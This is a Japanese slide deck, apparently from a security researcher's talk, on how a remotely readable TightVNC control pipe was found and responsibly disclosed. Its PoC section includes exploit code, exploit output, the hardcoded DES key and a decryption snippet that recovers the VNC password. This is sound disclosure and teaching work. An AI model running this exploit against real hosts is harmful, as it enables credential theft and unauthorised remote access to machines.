RCEへの近道

2024年7月19日

川田 柾浩

1. 自己紹介

自己紹介

GMOサイバーセキュリティ byイエラエ株式会社
オフェンシブセキュリティ部ペネトレーションテスト課
川田　柾浩

X: @kawakatz

- 業務領域（5年目）
  ツール・マルウェア開発
  ペネトレーションテスト・レッドチーム
  その他調査・研究
- 資格

- CVE
  CVE-2023-27966: macOS App Sandbox escape (>$10,000, Apple Inc.)
  CVE-2024-XXXXX: Remotely accessible TightVNC passwords (GlavSoft LLC)
  CVE-2024-XXXXX: RCE * 2 + LPE
  CVE-2024-XXXXX: RCE * 3 (Vuln * 5)

目次

1. 自己紹介
2. メインテーマ
3. 調査目的
4. 脆弱性概要
5. TightVNCとは
6. 解析対象ソフトウェアの選定
7. 名前付きパイプに関する処理の解析
8. PoCの実装
9. TightVNC側の対策
10. CVEの発行
11. タイムライン

2. メインテーマ

メインテーマ

- ✓ 解析対象ソフトウェアの選定基準
- ✓ 解析対象箇所の特定に至るまで

3. 調査目的

調査目的

RCE（かLPE）に至る脆弱性の検出を目的としたソフトウェア解析の練習

GMOサイバーセキュリティ byイエラエ
https://gmo-cybersecurity.com/cve/cve-2023-22335
CVE-2023-22335 | CVE情報 | 脆弱性診断（セキュリティ診断 ...
ウェブ 2023年3月31日 · **デニス ファウスト**ヴ、**ルスラン サイ**フィエフ. 概要. 株式会社ディー・オー・エスが提供する「SS1」および「らくらくPCクラウド」における. 当該製品が ...

GMOサイバーセキュリティ byイエラエ
https://gmo-cybersecurity.com/cve/cve-2023-21777
CVE-2023-21777 | CVE情報 | 脆弱性診断（セキュリティ診断 ...
ウェブ **デニス ファウストヴ**、**ルスラン サイ**フィエフ. 概要. Azure Stack Hub には、権限を昇格される脆弱性が存在します。 影響を受けるシステムおよびバージョン. Azure App ...

GMOサイバーセキュリティ byイエラエ
https://gmo-cybersecurity.com/cve/cve-2023-22336
CVE-2023-22336 | CVE情報 | 脆弱性診断（セキュリティ診断 ...
ウェブ 2023年3月31日 · **デニス ファウスト**ヴ、**ルスラン サイ**フィエフ. 概要. 株式会社ディー・オー・エスが提供する「SS1」および「らくらくPCクラウド」における. 細工された ...

GMOサイバーセキュリティ byイエラエ
https://gmo-cybersecurity.com/cve/cve-2024-24964
CVE-2024-24964 | CVE情報 | 脆弱性診断（セキュリティ診断 ...
ウェブ 2024年3月8日 · サイフィエフ ル**スラン**. **デニス ファウスト**ヴ. 概要. 常駐プロセスにおけるアクセス制限不備の脆弱性。 SKYSEA Client View の常駐プロセスを利用して、 ...

4. 脆弱性概要

脆弱性概要

TightVNCに対してリモートからパスワードを読み込み可能な脆弱性

5. TightVNCとは

TightVNCとは

TightVNC 2.8.81 (2023/05/04)
インストーラ: https://www.tightvnc.com/download/2.8.81/tightvnc-2.8.81-gpl-setup-64bit.msi
ソースコード: https://www.tightvnc.com/download/2.8.81/tightvnc-2.8.81-src-gpl.zip

6. 解析対象ソフトウェアの選定

解析対象ソフトウェアの選定

プログラムに対する入力の入口

5営業日で脆弱性の
発見から悪用まで

オープンポート

名前付きパイプ

解析対象ソフトウェアの選定

プログラムに対する入力の入口

5営業日で脆弱性の
発見から悪用まで

オープンポート

名前付きパイプ

解析対象ソフトウェアの選定

オープンポート: TCP/UDP通信の入口

解析対象ソフトウェアの選定

プログラムに対する入力の入口

5営業日で脆弱性の
発見から悪用まで

オープンポート

名前付きパイプ

解析対象ソフトウェアの選定

名前付きパイプ: プロセス間通信の入口

tvnserver.exe -service

TightVNC

¥¥.¥pipe¥TightVNC_Service_Control

ConnectNamedPipe(),
ReadFile(), WriteFile()

tvnserver.exe -controlservice -slave

解析対象ソフトウェアの選定

ツール

オープンポート

- Process Hacker

https://processhacker.sourceforge.io/

名前付きパイプ

- Get-ProcessPipes.ps1

https://gist.github.com/Wra7h/62b42c8a2219ae94d865c1c2f7196e61

解析対象ソフトウェアの選定

0.0.0.0 5800/tcp: tvnserver.exe -service
0.0.0.0 5900/tcp: tvnserver.exe -service

解析対象ソフトウェアの選定

¥¥.¥pipe¥TVN_log_pipe_public_name: tvnserver.exe -service
¥¥.¥pipe¥TightVNC_Service_Control: tvnserver.exe -service

```
PS C:\Users\kawada\Desktop> Get-ProcessPipes

ProcessID ProcessName                NamedPipe
--------- -----------                ---------
[illegible]
[illegible]
[illegible]
```

解析対象ソフトウェアの選定

tvnserver.exe -service

- オープンポート

0.0.0.0 5800/tcp

0.0.0.0 5900/tcp

- 名前付きパイプ

¥¥.¥pipe¥TVN_log_pipe_public_name

¥¥.¥pipe¥TightVNC_Service_Control

解析対象ソフトウェアの選定

tvnserver.exe -service

- オープンポート

0.0.0.0 5800/tcp

0.0.0.0 5900/tcp

- 名前付きパイプ

¥¥.¥pipe¥TVN_log_pipe_public_name

¥¥.¥pipe¥TightVNC_Service_Control

解析対象ソフトウェアの選定

¥¥.¥pipe¥TightVNC_Service_Control

```
PS C:\Windows\system32> Import-Module NtObjectManager
PS C:\Windows\system32> $a = Get-NtNamedPipeFile "\Device\NamedPipe\TightVNC_Service_Control"
PS C:\Windows\system32> $a.SecurityDescriptor.Dacl

Type    User     Flags                          Mask
----    ----     -----                          ----
Allowed Everyone ObjectInherit, ContainerInherit 001F01FF


PS C:\Windows\system32>
```

解析対象ソフトウェアの選定

¥¥.¥pipe¥TightVNC_Service_Control

tvnserver-app/TvnServer.cpp

```
m_log.message(_T("Starting control server"));

try {
  StringStorage pipeName;
  ControlPipeName::createPipeName(isRunningAsService(), &pipeName, &m_log);

  // FIXME: Memory leak
  SecurityAttributes *pipeSecurity = new SecurityAttributes();
  pipeSecurity->setInheritable();
  pipeSecurity->shareToAllUsers();

  const unsigned int maxControlServerPipeBufferSize = 0x10000;
  PipeServer *pipeServer = new PipeServer(pipeName.getString(), maxControlServerPipeBuffer
  m_controlServer = new ControlServer(pipeServer , m_rfbClientManager, &m_log);
} catch (Exception &ex) {
  m_log.error(_T("Failed to start control server: \"%s\""), ex.getMessage());
}
```

解析対象ソフトウェアの選定

¥¥.¥pipe¥TightVNC_Service_Control

tvnserver-app/TvnServer.cpp

```
void SecurityAttributes::shareToAllUsers()
{
  SecurityIdentifier localUsers(_T("S-1-1-0"));

  EXPLICIT_ACCESS explisitAccess;
  ZeroMemory(&explisitAccess, sizeof(EXPLICIT_ACCESS));

  // All access for local users.
  explisitAccess.grfAccessPermissions = GENERIC_ALL;
  explisitAccess.grfAccessMode = SET_ACCESS;
  explisitAccess.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
  explisitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID;
  explisitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
  explisitAccess.Trustee.ptstrName  = (LPTSTR)localUsers.getSid();
```

7. 名前付きパイプに関する処理の解析 その1

名前付きパイプに関する処理の解析

ツール
動的解析
- x64dbg
https://x64dbg.com/

静的解析
- IDA Pro
https://hex-rays.com/ida-pro/
- Ghidra
https://ghidra-sre.org/

Windows APIの監視
- Frida
https://frida.re/

名前付きパイプに関する処理の解析

ReadFile関数の呼び出し元特定

Modules

Module	Address	Type	Ordinal	Symbol
kernel32 .dll	00007FFD39070800	Export	1177	ReadFile
	00007FFD39070810	Export	1178	ReadFile Ex
	00007FFD39070820	Export	1179	ReadFile Scatter
	00007FFD390F36FB	Export	120	BuildIoRing ReadFile
	00007FFD390D45D0	Import		kernelbase. ReadFile
	00007FFD390D45D8	Import		kernelbase. ReadFile Ex
	00007FFD390D45E0	Import		kernelbase. ReadFile Scatter
	00007FFD390D6270	Import		ntdll.Nt ReadFile

CPU

```
00007FFBF9FA0800 <  -  FF25 CA3D0600   jmp qword ptr ds:[<ReadFile>]
00007FFBF9FA0806       CC             int3
00007FFBF9FA0807       CC             int3
00007FFBF9FA0808       CC             int3
00007FFBF9FA0809       CC             int3
00007FFBF9FA080A       CC             int3
00007FFBF9FA080B       CC             int3
```

名前付きパイプに関する処理の解析

ReadFile関数の呼び出し元特定
サンプルコードで対象の名前付きパイプと紐づく呼び出しであることを確認

```
00007FFE59D5964A   CC
00007FFE59D5964B   CC
00007FFE59D5964C   CC

qword ptr ds:[00007FFE59DC4E38 <kernel32.ConnectName

.text:00007FFE59D59620 kernel32.dll:$19620 #19620 <C
```

Dump 1 | Dump 2 | Dump 3 | Dump 4

Address	Hex										
00007FFE5BFF0000	4D	5A	90	00	03	00	00	00	04	00	00
00007FFE5BFF0010	B8	00	00	00	00	00	00	00	40	00	00
00007FFE5BFF0020	00	00	00	00	00	00	00	00	00	00	00
00007FFE5BFF0030	00	00	00	00	00	00	00	00	00	00	00
00007FFE5BFF0040	0E	1F	BA	0E	00	B4	09	CD	21	B8	01
00007FFE5BFF0050	69	73	20	70	72	6F	67	72	61	6D	20
00007FFE5BFF0060	74	20	62	65	20	72	75	6E	20	69	6E
00007FFE5BFF0070	6D	6F	64	65	2E	0D	0D	0A	24	00	00
00007FFE5BFF0080	5E	C4	21	CD	1A	A5	4F	9E	1A	A5	4F
00007FFE5BFF0090	1A	A5	4F	9E	1B	A5	4F	9E	51	DD	4F
00007FFE5BFF00A0	51	DD	4C	9F	36	A5	4F	9E	51	DD	4B

Command: Commands are comma separated (like assembly

Paused | INT3 breakpoint at <kernel32.ConnectNamedPipe> (000

```
C:\Users\kawada>cd Desktop\tightvnc

C:\Users\kawada\Desktop\tightvnc>sample.exe
```

名前付きパイプに関する処理の解析

Fridaを用いたReadFile関数、WriteFile関数の監視

```
[Local::PID::3516 ]-> ReadFile - Handle: 0x2c8
ReadFile - Bytes Read: 4
ReadFile - Data: 00 00 00 00
WriteFile - Handle: 0x2c8
WriteFile - Bytes Written: 4
WriteFile - Data: 00 00 00 00
WriteFile - Handle: 0x2c8
WriteFile - Bytes Written: 1
WriteFile - Data: 01
ReadFile - Handle: 0x2c8
ReadFile - Bytes Read: 4
ReadFile - Data: 00 00 00 11
ReadFile - Handle: 0x2c8
ReadFile - Bytes Read: 4
ReadFile - Data: 00 00 00 00
```

名前付きパイプに関する処理の解析

ReadFile関数の引数

Syntax

C++ Copy

```cpp
BOOL ReadFile(
  [in]                HANDLE       hFile,
  [out]               LPVOID       lpBuffer,
  [in]                DWORD        nNumberOfBytesToRead,
  [out, optional]     LPDWORD      lpNumberOfBytesRead,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);
```

```
1: rcx 00000000000002C8 00000000000002C8
2: rdx 0000000002D0F888 0000000002D0F888
3: r8 0000000000000004 0000000000000004
4: r9 0000000002D0F850 0000000002D0F850
5: [rsp+28] 0000000002D0F750 0000000002D0F750
```

名前付きパイプに関する処理の解析

ReadFile関数の呼び出し元特定

Execute till return + Step over (Step into)

```
00007FF78B7BB814    FF15 0E3C0500          call qword ptr ds:[<ReadFile>]
00007FF78B7BB81A    85C0                   test eax,eax
00007FF78B7BB81C    0F95C3                 setne bl
00007FF78B7BB81F    48:8D4C24 30           lea rcx,qword ptr ss:[rsp+30]
00007FF78B7BB824    E8 F783FFFF            call tvnserver.7FF78B7B3C20
00007FF78B7BB829    84DB                   test bl,bl
00007FF78B7BB82B    0F85 6F010000          jne tvnserver.7FF78B7BB9A0
00007FF78B7BB831    FF15 B93C0500          call qword ptr ds:[<GetLastError>]
00007FF78B7BB837    3D E5030000            cmp eax,3E5
00007FF78B7BB83C    0F85 DD000000          jne tvnserver.7FF78B7BB91F
00007FF78B7BB842    48:8D4F 38             lea rcx,qword ptr ds:[rdi+38]
00007FF78B7BB846    83CA FF                or edx,FFFFFFFF
00007FF78B7BB849    E8 22C2FFFF            call tvnserver.7FF78B7B7A70
00007FF78B7BB84E    C78424 50010000 00000  mov dword ptr ss:[rsp+150],0
00007FF78B7BB859    48:8D57 08             lea rdx,qword ptr ds:[rdi+8]
00007FF78B7BB85D    48:8D4C24 30           lea rcx,qword ptr ss:[rsp+30]
00007FF78B7BB862    E8 8983FFFF            call tvnserver.7FF78B7B3BF0
00007FF78B7BB867    90                     nop
```

名前付きパイプに関する処理の解析

ReadFile関数の呼び出し元特定

Modules

Base	Module
00007FF78B730000	tvnserver .exe

名前付きパイプに関する処理の解析

ReadFile関数の呼び出し元特定

Edit > Segments > Rebase program...

名前付きパイプに関する処理の解析

ReadFile関数の呼び出し元特定

Jump > Jump to address...

```
.text:00007FF78B7BB7F9
.text:00007FF78B7BB7F9 loc_7FF78B7BB7F9:                       ; CODE XREF: sub_7FF78B7BB760+74↑j
.text:00007FF78B7BB7F9                 lea     rax, [rsp+138h+Overlapped]
.text:00007FF78B7BB7FE                 mov     [rsp+138h+lpOverlapped], rax ; lpOverlapped
.text:00007FF78B7BB803                 lea     r9, [rsp+138h+NumberOfBytesRead] ; lpNumberOfBytes
.text:00007FF78B7BB80B                 mov     r8d, esi        ; nNumberOfBytesToRead
.text:00007FF78B7BB80E                 mov     rdx, rbx        ; lpBuffer
.text:00007FF78B7BB811                 mov     rcx, rbp        ; hFile
.text:00007FF78B7BB814                 call    cs:ReadFile
.text:00007FF78B7BB81A                 test    eax, eax
.text:00007FF78B7BB81C                 setnz   bl
.text:00007FF78B7BB81C ;   } // starts at 7FF78B7BB7D0
```

名前付きパイプに関する処理の解析

ReadFile関数の呼び出し元特定

Jump > Jump to address...

```
34  if ( a4 == (void *)-1LL )
35  {
36    sub_7FF78B7BCAC0(pExceptionObject, L"Invalid pipe handle");
37    CxxThrowException(pExceptionObject, (_ThrowInfo *)&_TI2_AVIOException__);
38  }
39  v9 = ReadFile(a4, a2, v5, &NumberOfBytesRead, &Overlapped);
40  sub_7FF78B7B3C20(v20);
41  if ( !v9 )
42  {
43    if ( GetLastError() != 997 )
44    {
45      Concurrency::details::_AsyncTaskCollection::_AsyncTaskCollection(
46        (Concurrency::details::_AsyncTaskCollection *)pExceptionObject,
47        v10);
48      LODWORD(lpOverlapped) = v5;
49      sub_7FF78B7B28D0(
50        pExceptionObject,
51        L"The Pipe's write function failed after ReadFile calling(pipe handle is %p, total read %
```

7. 名前付きパイプに関する処理の解析 その2

名前付きパイプに関する処理の解析

ReadFile関数を呼び出している関数の呼び出し元特定

```
__int64 __fastcall ReadNamedPipe(__int64 a1)
{
  unsigned __int64 v2; // rbx
  __int64 v3; // rdi
  __int64 v4; // rax
  unsigned __int8 v6; // [rsp+38h] [rbp+10h] BYREF
  unsigned __int8 v7; // [rsp+39h] [rbp+11h]
  unsigned __int8 v8; // [rsp+3Ah] [rbp+12h]
  unsigned __int8 v9; // [rsp+3Bh] [rbp+13h]

  v2 = 0LL;
  v3 = 4LL;
  do
  {
    v4 = (*(__int64 (__fastcall **)(_QWORD, char *, __int64))(**(_QWORD **)(a1 + 8) +
            *(_QWORD *)(a1 + 8),
            (char *)&v6 + v2,
            v3);
    v2 += v4;
```

名前付きパイプに関する処理の解析

ReadFile関数で受け取った入力値の扱い

```
while ( 1 )
{
  result = sub_7FF78B7B3F80(a1);
  if ( (_BYTE)result )
    return result;
  message_id = ReadNamedPipe(*(_QWORD *)(a1 + 40));
  size = (unsigned int)ReadNamedPipe(*(_QWORD *)(a1 + 40));
  sub_7FF78B7BD740(*(_QWORD *)(a1 + 336), L"Recieved control message ID %u, size %u"
  v33 = v4 + 1;
  if ( v4 + 1 == 10 * ((v4 + 1) / 10) )
```

名前付きパイプに関する処理の解析

ReadFile関数で受け取った入力値の扱い

```
switch ( message_id )
{
  case 4u:
    write_log(*(_QWORD *)(a1 + 336), L"Control client requests client list");
    sub_7FF78B73D1E0(a1);
    break;
  case 5u:
    write_log(*(_QWORD *)(a1 + 336), L"Command requested: Reload configuration");
    sub_7FF78B7BC360(*(_QWORD *)(a1 + 40) + 16LL, 0LL);
    sub_7FF78B7B3BF0(v26, &unk_7FF78B8CE538);
    v17 = qword_7FF78B8CE488;
    sub_7FF78B7B3C20(v26);
    sub_7FF78B766660(v17, *(unsigned __int8 *)(v17 + 528));
    break;
```

名前付きパイプに関する処理の解析

ReadFile関数で受け取った入力値の扱い

```
switch ( message_id )
{
  case 0x10u:
    write_log(*(_QWORD *)(a1 + 336), L"Control client sends new server config");
    sub_7FF78B73D6E0(a1);
    break;
  case 0x11u:
    write_log(*(_QWORD *)(a1 + 336), L"Control client requests server info");
    sub_7FF78B73D3C0(a1);
    break;
  case 0x12u:
    write_log(*(_QWORD *)(a1 + 336), L"Control client requests server config");
    sub_7FF78B7BC360(*(_QWORD *)(a1 + 40) + 16LL, 0LL);
    v18 = *(_QWORD *)(a1 + 40);
    if ( v18 )
      v19 = v18 + 16;
    else
      v19 = 0LL;
    sub_7FF78B7B3BF0(v28, &unk_7FF78B8CE538);
```

7. 名前付きパイプに関する処理の解析 その3

名前付きパイプに関する処理の解析

tvnserver-app/ControlClient.cpp > ControlClient::execute()

```
void ControlClient::execute()
{
  // Client passes authentication by default if server does not uses control au
  if (!Configurator::getInstance()->getServerConfig()->isControlAuthEnabled())
    m_authPassed = true;
  }
  int i = 0;
  try {
    while (!isTerminating()) {
      UINT32 messageId = m_gate->readUInt32();
      UINT32 messageSize = m_gate->readUInt32();

      m_log->debug(_T("Recieved control message ID %u, size %u"),
                   (unsigned int)messageId, (unsigned int)messageSize);
```

名前付きパイプに関する処理の解析

tvnserver-app/ControlClient.cpp > ControlClient::execute()

```
switch (messageId) {
case ControlProto::AUTH_MSG_ID:
  m_log->detail(_T("Control authentication requested"));
  authMsgRcdv();
  break;
case ControlProto::RELOAD_CONFIG_MSG_ID:
  m_log->detail(_T("Command requested: Reload configuration"));
  reloadConfigMsgRcvd();
  break;
case ControlProto::DISCONNECT_ALL_CLIENTS_MSG_ID:
  m_log->detail(_T("Command requested: Disconnect all clients command requested"));
  disconnectAllMsgRcvd();
  break;
case ControlProto::SHUTDOWN_SERVER_MSG_ID:
  m_log->detail(_T("Command requested: Shutdown command requested"));
  shutdownMsgRcvd();
  break;
```

名前付きパイプに関する処理の解析

tvnserver-app/ControlClient.cpp > ControlClient::execute()

```
case ControlProto::GET_CLIENT_LIST_MSG_ID:
  m_log->detail(_T("Control client requests client list"));
  getClientsListMsg
  break;
case ControlProto::
  m_log->detail(_T(
  setServerConfigMs
  break;
case ControlProto::GET_CONFIG_MSG_ID:
  m_log->detail(_T("Control client requests server config"));
  getServerConfigMsgRcvd();
  break;
```

```
static const UINT32 ControlProto::GET_CONFIG_MSG_ID = 18U
```

Get current configuration of TightVNC server.
Request body: [empty].
Reply body:
serialized ServerConfig.

名前付きパイプに関する処理の解析

server-config-lib/ServerConfig.cpp > ServerConfig::serialize()

```
AutoLock l(this);

output->writeInt32(m_rfbPort);
output->writeInt32(m_httpPort);
output->writeInt8(m_enableFileTransfers ? 1 : 0);
output->writeInt8(m_removeWallpaper ? 1 : 0);
output->writeInt8(m_D3DAllowed ? 1 : 0);
output->writeInt8(m_mirrorDriverAllowed ? 1 : 0);
output->writeInt32(m_disconnectAction);
output->writeInt8(m_acceptRfbConnections ? 1 : 0);
output->writeInt8(m_acceptHttpConnections ? 1 : 0);
output->writeFully(m_primaryPassword, VNC_PASSWORD_SIZE);
output->writeFully(m_readonlyPassword, VNC_PASSWORD_SIZE);
output->writeFully(m_controlPassword, VNC_PASSWORD_SIZE);
```

8. PoCの実装

PoCの実装

悪用条件

✓ SMB（445/tcp）への通信が可能
✓ いずれかのユーザとして認証が可能
　Active Directory（or Microsoft Entra ID）

影響

暗号化されたパスワードの読み込み + 復号によってTightVNCに接続可能

PoCの実装

445/tcp (SMB)
\\client1.ierae.local\pipe\TightVNC_Service_Control
the encrypted primary password
the encrypted readonly password
the encrypted control password
TightVNC
attacker.ierae.local
user: attacker
client1.ierae.local
user: user1
decrypt the passwords with the fixed DES encryption key
connect to TightVNC using the decrypted password

PoCの実装

```
int command = 0x12;
printf("[+] command: 0x%04x\n", command);
command = swap_int(command);
DWORD dwBytesToWrite = 4;
DWORD dwBytesWritten = 0;
BOOL bErrorFlag = FALSE;
bErrorFlag = WriteFile(hPipe, &command, dwBytesToWrite, &dwBytesWritten, NULL);
if (bErrorFlag == FALSE) {
    printf("[!] WriteFile() error=0x%04x\n", GetLastError());
}
printf("[+] dwBytesWritten: %d\n", dwBytesWritten);

int num = 0x0;
dwBytesWritten = 0;
bErrorFlag = FALSE;
bErrorFlag = WriteFile(hPipe, &num, dwBytesToWrite, &dwBytesWritten, NULL);
if (bErrorFlag == FALSE) {
    printf("[!] WriteFile() error=0x%04x\n", GetLastError());
}
printf("[+] dwBytesWritten: %d\n", dwBytesWritten);
```

PoCの実装

```
readNamedPipeInt32(hPipe, "REPLY");
readNamedPipeInt32(hPipe, "m_rfbPort");
readNamedPipeInt32(hPipe, "m_httpPort");
readNamedPipeInt8(hPipe, "m_enableFileTransfers");
readNamedPipeInt8(hPipe, "m_removeWallpaper");
readNamedPipeInt8(hPipe, "m_D3DAllowed");
readNamedPipeInt8(hPipe, "m_mirrorDriverAllowed");
readNamedPipeInt32(hPipe, "m_disconnectAction");
readNamedPipeInt8(hPipe, "m_acceptRfbConnections");
readNamedPipeInt8(hPipe, "m_acceptHttpConnections");
readNamedPipeVNC(hPipe, "m_primaryPassword");
readNamedPipeVNC(hPipe, "m_readonlyPassword");
readNamedPipeVNC(hPipe, "m_controlPassword");
readNamedPipeInt8(hPipe, "m_useAuthentication");
readNamedPipeInt8(hPipe, "m_onlyLoopbackConnections");
readNamedPipeInt8(hPipe, "m_enableAppletParamInUrl");
readNamedPipeInt32(hPipe, "m_logLevel");
readNamedPipeInt8(hPipe, "m_useControlAuth");
readNamedPipeInt8(hPipe, "m_controlAuthAlwaysChecking");
```

PoCの実装

```
C:\Users\attacker\Desktop>exploit.exe client1.ierae.local
[+] command: 0x0012
[+] dwBytesWritten: 4
[+] dwBytesWritten: 4
[+] REPLY: 0x0000
[+] m_rfbPort: 0x170c
[+] m_httpPort: 0x16a8
[+] m_enableFileTransfers: 1
[+] m_removeWallpaper: 1
[+] m_D3DAllowed: 1
[+] m_mirrorDriverAllowed: 1
[+] m_disconnectAction: 0x0000
[+] m_acceptRfbConnections: 1
[+] m_acceptHttpConnections: 1
[+] m_primaryPassword: 31 7C 13 DD B5 44 C6 C7
[+] m_readonlyPassword: 00 00 00 00 00 00 00 00
[+] m_controlPassword: 00 00 00 00 00 00 00 00
[+] m_useAuthentication: 1
[+] m_onlyLoopbackConnections: 0
[+] m_enableAppletParamInUrl: 1
```

PoCの実装

```
C:\Users\attacker\Desktop>exploit.exe client1.ierae.local
[+] command: 0x0012
[+] dwBytesWritten: 4
[+] dwBytesWritten: 4
[+] REPLY: 0x0000
[+] m_rfbPort: 0x170c
[+] m_httpPort: 0x16a8
[+] m_enableFileTransfers: 1
```

```
const UINT8 VncPassCrypt::m_key[] = { 23, 82, 107, 6, 35, 78, 88, 7 };
```

```
[+] m_acceptRfbConnections: 1
[+] m_acceptHttpConnections: 1
[+] m_primaryPassword: 31 7C 13 DD B5 44 C6 C7
[+] m_readonlyPassword: 00 00 00 00 00 00 00 00
[+] m_controlPassword: 00 00 00 00 00 00 00 00
[+] m_useAuthentication: 1
[+] m_onlyLoopbackConnections: 0
[+] m_enableAppletParamInUrl: 1
```

PoCの実装

```
C:\Users\attacker\Desktop>exploit.exe client1.ierae.local
[+] command: 0x0012
[+] dwBytesWritten: 4
[+] dwBytesWritten: 4
[+] REPLY: 0x0000
[+] m_rfbPort: 0x170c
[+] m_httpPort: 0x16a8
```

```
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\x17Rk\x06#NX\a"
>> require 'rex/proto/rfb'
=> false
>> Rex::Proto::RFB::Cipher.decrypt ["317C13DDB544C6C7"].pack('H*'), fixedkey
=> "P@ssw0rd"
```

```
[+] m_acceptHttpConnections: 1
[+] m_primaryPassword: 31 7C 13 DD B5 44 C6 C7
[+] m_readonlyPassword: 00 00 00 00 00 00 00 00
[+] m_controlPassword: 00 00 00 00 00 00 00 00
[+] m_useAuthentication: 1
[+] m_onlyLoopbackConnections: 0
[+] m_enableAppletParamInUrl: 1
```

9. TightVNC側の対策

TightVNC側の対策

TightVNC 2.8.84

- Server for Windows: Disabled the ability to connect to the control pipe via a network connection (bug #1629).
- Server for Windows: Disabled the transmission of passwords through the pipe from the server to the control application.
- Server for Windows: The server now only accepts control connections from processes launched from the same path as the server itself (Windows Vista and later).

TightVNC側の対策

```
void PipeServer::createServerPipe()
{
  m_serverPipe = CreateNamedPipe(m_pipeName.getString(),    // pipe name
                                 PIPE_ACCESS_DUPLEX |       // read/write access
                                 FILE_FLAG_OVERLAPPED,      // overlapped mode
                                 PIPE_TYPE_BYTE |           // message type pipe
                                 PIPE_READMODE_BYTE |       // message-read mode
                                 PIPE_REJECT_REMOTE_CLIENTS | // SF #1629 fix
                                 PIPE_WAIT,                 // blocking mode
                                 PIPE_UNLIMITED_INSTANCES,  // max. instances
                                 m_bufferSize,              // output buffer size
                                 m_bufferSize,              // input buffer size
                                 0,                         // client time-out
                                 m_secAttr != 0 ?           // security attributes
                                 m_secAttr->getSecurityAttributes() : 0
                                );
```

10. CVEの発行

CVEの発行

開発者と連絡が途絶えてしまって、CVEを発行してもらえなかった場合
（JPCERT様からご教授いただきました🙇）

- Report/Request for Non-CNAs
https://www.cve.org/ReportRequest/ReportRequestForNonCNAs

Report/Request for Non-CNAs

Anyone can request a **CVE ID** for a vulnerability or request an update to an existing **CVE Record**. Learn more on the **Process** page.

Request a CVE ID

Other contributors (not a **CNA**) follow the instructions below.

1 **Find the CVE Numbering Authority (CNA)**

Find the CNA partner whose scope includes the product affected by the vulnerability on the **List of Partners** page or in the search box below.

Report/Request

CNAs

Non-CNAs

Request A CVE ID

Update A CVE Record

CVEの発行

– Submit a CVE Request
https://cveform.mitre.org/

Submit a CVE Request

* Required

*** Select a request type**

Report Vulnerability/Request CVE ID

*** Enter your e-mail address**

Please enter a valid e-mail address where we can reach you.

⚠ ⚠ **IMPORTANT: Please add cve-request@mitre.org and cve@mitre.org as safe senders in your email client before completing this form.**

11. タイムライン

タイムライン

2024/04/20: 脆弱性報告
2024/04/26: 開発者側による脆弱性報告の確認
2024/05/28: TightVNC 2.8.84のリリース
2024/05/28: CVE発行の調整開始
2024/07/12: MITREにCVEの発行申請